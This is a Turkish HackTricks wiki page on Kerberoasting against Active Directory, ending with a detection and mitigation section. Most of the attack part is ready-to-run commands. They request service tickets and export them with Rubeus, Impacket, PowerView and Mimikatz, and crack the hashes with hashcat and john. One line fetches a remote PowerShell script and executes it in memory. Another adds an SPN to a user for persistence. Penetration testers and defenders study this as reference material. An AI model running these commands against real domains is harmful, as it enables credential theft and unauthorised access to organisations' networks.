Kerberoast

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Kerberoast

Kerberoast, özellikle Active Directory (AD) altında kullanıcı hesapları ile çalışan hizmetlere ait TGS biletlerinin elde edilmesine odaklanır, bilgisayar hesaplarını hariç tutar. Bu biletlerin şifrelemesi, kullanıcı şifrelerinden kaynaklanan anahtarlar kullanır ve çevrimdışı kimlik bilgilerinin kırılma olasılığı sağlar. Bir hizmetin bir kullanıcı hesabı olarak kullanılması, boş olmayan bir "ServicePrincipalName" özelliği ile belirtilir.

Kerberoast'i yürütmek için TGS biletleri isteyebilen bir etki alanı hesabı gereklidir; ancak, bu işlem özel ayrıcalıklar gerektirmez, bu nedenle geçerli etki alanı kimlik bilgilerine sahip herkes tarafından erişilebilir.

Ana Noktalar:

  • Kerberoast, AD içindeki kullanıcı hesabı hizmetleri için TGS biletlerini hedefler.

  • Kullanıcı şifrelerinden gelen anahtarlarla şifrelenen biletler çevrimdışı kırılabilir.

  • Bir hizmet, boş olmayan bir ServicePrincipalName ile tanımlanır.

  • Sadece geçerli etki alanı kimlik bilgileri gereklidir, özel ayrıcalıklar gerekmez.

Saldırı

Kerberoast araçları genellikle saldırıyı gerçekleştirirken ve TGS-REQ isteklerini başlatırken RC4 şifrelemesi istemektedir. Bu, RC4'ün diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha zayıf olması ve Hashcat gibi araçlarla çevrimdışı kırılmasının daha kolay olması nedeniyledir. RC4 (tip 23) hash'leri $krb5tgs$23$* ile başlarken, AES-256 (tip 18) $krb5tgs$18$* ile başlar.

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Çok özellikli araçlar, kerberoast edilebilir kullanıcıların bir dökümünü içerir:

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • Kerberoast edilebilir kullanıcıları listeleyin

# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • Teknik 1: TGS iste ve bellekten dök

#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • Teknik 2: Otomatik araçlar

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

Bir TGS istendiğinde, Windows etkinliği 4769 - Bir Kerberos hizmet bileti istendi oluşturulur.

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve kolayca çalıştırın. Bugün Erişim Edinin:

Kırılma

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Kalıcılık

Eğer bir kullanıcı üzerinde yeterli izinlere sahipseniz, onu kerberoastable hale getirebilirsiniz:

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

Kerberoast saldırıları için yararlı araçları burada bulabilirsiniz: https://github.com/nidem/kerberoast

Eğer Linux'tan bu hata ile karşılaşırsanız: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) bu, yerel saatinizden kaynaklanır, ana bilgisayarı DC ile senkronize etmeniz gerekir. Birkaç seçenek bulunmaktadır:

  • ntpdate <DC'nin IP'si> - Ubuntu 16.04'ten itibaren kullanım dışı

  • rdate -n <DC'nin IP'si>

Hafifletme

Kerberoasting, sömürülebilirse yüksek derecede gizlilikle gerçekleştirilebilir. Bu faaliyeti tespit etmek için dikkat edilmesi gereken nokta, bir Kerberos bileti istendiğini belirten Güvenlik Olay Kimliği 4769'dur. Ancak, bu olayın sıklığı nedeniyle şüpheli faaliyetleri izole etmek için belirli filtreler uygulanmalıdır:

  • Hizmet adı krbtgt olmamalıdır, çünkü bu normal bir istektir.

  • $ ile biten hizmet adları, servisler için kullanılan makine hesaplarını içermemek için hariç tutulmalıdır.

  • Makinelerden gelen istekler, makine@domain biçimindeki hesap adlarını hariç tutarak filtrelenmelidir.

  • Yalnızca başarılı bilet istekleri dikkate alınmalıdır, '0x0' hata kodu ile belirlenenler.

  • En önemlisi, bilet şifreleme türü 0x17 olmalıdır, bu genellikle Kerberoast saldırılarında kullanılır.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Kerberoasting risklerini azaltmak için şunları yapabilirsiniz:

  • Hizmet Hesabı Şifrelerinin tahmin edilmesi zor olacak şekilde yapılmasını sağlayın, en az 25 karakter uzunluğunu önerin.

  • Yönetilen Hizmet Hesapları kullanın, otomatik şifre değişiklikleri ve yetkilendirilmiş Hizmet Başlığı Adı (SPN) Yönetimi gibi faydalar sunarak bu tür saldırılara karşı güvenliği artırın.

Bu önlemleri uygulayarak, kuruluşlar Kerberoasting ile ilişkilendirilen riski önemli ölçüde azaltabilirler.

Alan hesabı olmadan Kerberoast

Eylül 2022'de, araştırmacı Charlie Clark adlı bir kişi tarafından bir sistem üzerinde istismar etmek için yeni bir yol exploit.ph platformu aracılığıyla paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeyen KRB_AS_REQ isteği aracılığıyla Hizmet Biletleri (ST) elde etmeyi sağlar. Temelde, bir pre-authentication gerektirmeyen bir şekilde bir prensip kurulmuşsa - siber güvenlik alanında bilinen bir senaryo olan AS-REP Roasting saldırısı ile benzer bir senaryo - bu özellik isteğin işlenmesini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki sname özniteliğini değiştirerek, sistem standart şifrelenmiş Bilet Verme Bileti (TGT) yerine bir ST çıkarmaya aldanır.

Teknik ayrıntılar bu makalede tam olarak açıklanmıştır: Semperis blog yazısı.

Bu teknikle LDAP sorgulamak için geçerli bir hesabımız olmadığından, bir kullanıcı listesi sağlamanız gerekmektedir.

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

Referanslar

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Last updated